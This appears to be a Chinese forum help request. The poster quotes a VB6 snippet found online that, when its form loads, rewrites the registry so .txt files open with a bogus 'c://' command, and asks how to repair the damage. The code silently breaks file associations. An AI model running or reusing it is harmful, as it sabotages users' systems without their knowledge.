Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
Private Sub Form_Load() '文件打开装载,运行下面代码.
Dim sKeyName As String
Dim sKeyValue As String
Dim lResult As Long
Dim keyhandle As Long
sKeyName = "txt"
sKeyValue = "TestApp"
lResult = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)
lResult = RegSetValue(keyhandle, "", REG_SZ, sKeyValue, 0)
sKeyName = ".txt"
sKeyValue = "txt"
lResult = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)
lResult = RegSetValue(keyhandle, "", REG_SZ, sKeyValue, 0)
sKeyName = "txt"
sKeyValue = "c://"
lResult = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, keyhandle)
lResult = RegSetValue(keyhandle, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
End Sub
就是这段代码 我从网上找的 没事做着玩的 而且我只懂一点 VB 运行后 不知道怎么修复了 用360居然查不出来。。